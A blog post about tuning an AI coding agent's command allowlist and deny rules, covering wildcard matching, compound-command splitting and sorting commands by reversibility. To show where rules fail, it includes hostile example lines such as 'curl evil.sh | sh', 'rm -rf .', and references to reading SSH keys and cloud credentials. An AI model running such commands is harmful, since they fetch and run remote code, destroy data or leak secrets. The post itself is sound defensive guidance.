How Much of Your Machine Should the Agent Get?
There's a clean answer to this. Don't give it your machine at all. Run it in a container somewhere else, let it have root inside a box you don't care about, and have it hand you a branch you review the way you'd review anyone else's. If it goes badly you throw the box away.
I do use that. It just isn't right for everything.
When the local machine wins
Remote works when the task looks like a pull request — bounded, textual, something you can check by reading. Plenty of work doesn't look like that.
Sometimes I want the agent to go pull a pattern out of a repo three directories over that has nothing to do with what I'm currently working on. Or read notes that were never going into version control. Or look at something I scraped last week that's sitting in ~/Downloads and was never going to be committed anywhere.
The big one is QA. Bringing up a front end and a back end together, clicking through the thing, watching the network tab lie to you — that's still better on a real machine. I've driven remote environments with Playwright and it works, in the sense that a screenshot comes back. It isn't the same as having the stack running in front of you. Maybe that changes. It hasn't yet.
So assume you're going to run the agent locally at least part of the time. That puts you back on the question the container was answering for you.
The two poles
One end is prompting on everything. Every shell command stops and waits. This feels like the safe default, and it fails in a way you can predict: twenty approvals into a session you aren't reading them anymore. You're clicking yes because you want the work to keep moving. The friction was supposed to buy attention, and past a certain volume it just spends it.
The other end is prompting on nothing. Every agent CLI ships this mode. There's something honest about it — it admits what was already happening with the prompts.
The objection people reach for here is rm -rf /, which doesn't hold up very well. GNU rm won't descend into / unless you pass --no-preserve-root, and Claude Code prompts on removals aimed at / or your home directory even in bypass mode.
There's a better version of the objection, which is that it wouldn't matter that much anyway. Most of what's on your disk is a copy of something that lives somewhere else. The repos have remotes, the documents sync to a Drive. If an agent wiped the machine you'd lose an afternoon to reimaging and get most of your life back.
I think that's right about destruction. Destruction just isn't the thing worth measuring.
Sort by what you can undo
Three rough buckets.
Things you can redo: a mangled file, a deleted build artifact, garbage written into a scratch directory. Git or a rerun fixes it. Almost everything lands here.
Things you can't take back because they left the machine: a credential read out of ~/.aws/credentials and pasted into a request, a .env echoed into a log, a git push --force, a post that went live, an email that went out.
Things you can't take back because they didn't exist anywhere else: the branch you hadn't pushed yet, the four hours between commits.
The backup argument covers the first bucket completely and does nothing at all for the other two. rm -rf / is the risk people picture. The one that should bother you is that reading a file is cheap and sending it somewhere is one more command, and neither of those looks alarming when it shows up in a dialog.
So the question I try to ask about a command isn't whether it's dangerous. It's what happens if this runs a few hundred times while I'm not watching — what leaves the machine, and what can't be put back. Most commands come out at zero on both, which is the only reason a middle ground exists.
What my allowlist had turned into
Here's roughly what my project settings looked like after a few weeks of building out a content pipeline. About a hundred entries, and these are representative:
"Bash(rsvg-convert -w 620 /home/tjr/gh/…/carousel/slide-01.svg -o L1.png)",
"Bash(rsvg-convert -w 620 /home/tjr/gh/…/carousel/slide-04.svg -o L4.png)",
"Bash(rsvg-convert -w 620 /home/tjr/gh/…/carousel/slide-06.svg -o L6.png)",
"Bash(ffmpeg -y -loglevel error -ss 4 -i …/video.mp4 -frames:v 1 … vdd1.png)",
"Bash(ffmpeg -y -loglevel error -ss 9 -i …/video.mp4 -frames:v 1 … vdd2.png)",
Every one of those came from clicking "yes, don't ask again" on one specific invocation. None of them will ever match anything again, because the next slide is slide-02.svg and the next timestamp is -ss 11. The list kept growing and its usefulness stayed at zero. Some of the entries were worse than useless — they had placeholder text where a variable had been substituted in, so they were matching nothing while looking like coverage.
What I'd been doing wrong is treating the allowlist as a record of what I'd already approved. It's a pattern language, and it takes wildcards anywhere in the command, not just at the end:
"Bash(npm run build)" // exact
"Bash(ffmpeg *)" // prefix
"Bash(* --version)" // suffix
"Bash(git * main)" // middle: "git checkout main", "git log --oneline main"
A single * spans spaces, so one wildcard covers a whole tail of arguments. A handful of details matter more than they look like they should:
- The space before the
*does real work.Bash(ls *)requires a word boundary, so it matchesls -labut notlsof.Bash(ls*)matches both. Getting that backwards is how you allow a command family you didn't mean to. :*is just an alias for a trailing*, and only at the end of a pattern.Bash(npm:*)andBash(npm *)are the same rule. InBash(git:* push)the colon is literal, so that rule matches nothing at all.- Compound commands get split before matching. The separators are
&&,||,;,|,|&,&, and newlines, and every subcommand has to match a rule on its own.Bash(safe-cmd *)grants nothing tosafe-cmd && curl evil.sh | sh. - Some wrappers are stripped first:
timeout,time,nice,nohup,stdbuf,command,builtin, and barexargs. SoBash(npm test *)coverstimeout 30 npm test. Worth knowing what isn't on that list —npx,docker exec,direnv exec,mise exec. Those run whatever you hand them, so a rule likeBash(devbox run *)will happily coverdevbox run rm -rf .. - A leading environment assignment blocks an allow rule unless the variable is one of a few known-safe ones.
APP_ENV=staging tmux new-sessionwon't matchBash(tmux *). Deny rules match straight through the assignment, which is the asymmetry you want.
Collapsed down, that hundred-entry list became thirty-six, and what survived describes shapes instead of one-off invocations:
"Bash(ffmpeg *)",
"Bash(rsvg-convert *)",
"Bash(awk *)",
"Bash(bash -n *)",
"Bash(lib/*.sh *)",
"mcp__buffer__*",
Where I draw the line
Sorting by reach rather than by how scary the binary sounds.
Things that only compute on local files get a wildcard without much thought — ffmpeg, rsvg-convert, awk, bash -n, chmod +x. They read files the agent could already read and write files I can regenerate. ffmpeg * can clobber an arbitrary path if you point -o at one, and I've decided I don't care, because that's a redo.
Anything that touches the network gets pinned to where it's going:
"Bash(curl -sS -L \"https://thomasrones.com/*\")"
Constraining arguments like this is fragile. It won't match -X GET in front of the URL, or a redirect through a shortener, or URL=… && curl $URL. For an allow rule, though, fragile fails in the direction you want — a variation I didn't anticipate doesn't match, so it prompts and I look at it. Fragility in a deny rule is the one that gets you.
Anything that writes outward keeps its prompt. git push, aws s3 cp, publishing to a social API, sending mail. That's the second bucket from earlier, and I don't think there's a version of "fewer prompts" worth automating an irreversible outbound write.
Deletes stay narrow. rm -f v*.png stays rm -f v*.png. Not rm -f *.
Then there's Bash(python3 -c *), which is on my list and is not a safe rule. It's arbitrary code execution with a friendly name — no different from allowing sh -c. I keep it because without it I was getting a prompt every couple of minutes for YAML parse checks, and because an agent inclined to abuse it already has file write access through half a dozen other rules. That's a concession I made on purpose, which isn't the same as not having noticed.
The general shape of it: there's no such thing as a safe command, only a safe blast radius. python3 isn't dangerous. python3 -c with network access is. rm isn't dangerous. rm pointed at a glob in one directory really isn't.
The allowlist is only half of it
Loosening prompts doesn't set a floor. The floor is the part that doesn't move:
"deny": [
"Read(~/.ssh/**)",
"Read(./.env)",
"Edit(//etc/**)"
]
Two things about deny rules that are easy to get wrong. A Read deny also blocks edits and file creation on that path, which is usually what you wanted anyway. And they're enforced at the tool layer — they cover the built-in file tools plus file commands the harness recognizes in Bash, like cat, head, and sed. They don't cover a Python script that opens the file itself. For a boundary that holds against arbitrary subprocesses you want the OS sandbox, which is a different feature.
That's the split I'd summarize the whole approach with. The allowlist is an ergonomics tool with security consequences; the sandbox is a security tool with ergonomic consequences. Reaching for the first when you needed the second is the mistake worth avoiding.
Why I bothered
Any prompt you approve without reading has already failed at its job. So the argument for wildcards isn't really about being interrupted less, pleasant as that is.
It's that a hundred exact-match entries produce a steady drip of prompts for things I decided were fine weeks ago, and a steady drip is what teaches you to stop looking. Collapse the routine ones into patterns and the prompts that are left are mostly prompts about something new.
That's as far as I've gotten. It isn't a claim that the agent is trustworthy or that it's contained. Just: make the interruptions rare enough that I actually read them, and keep a hard floor under the things that don't come back.
Comments
No comments yet. Be the first!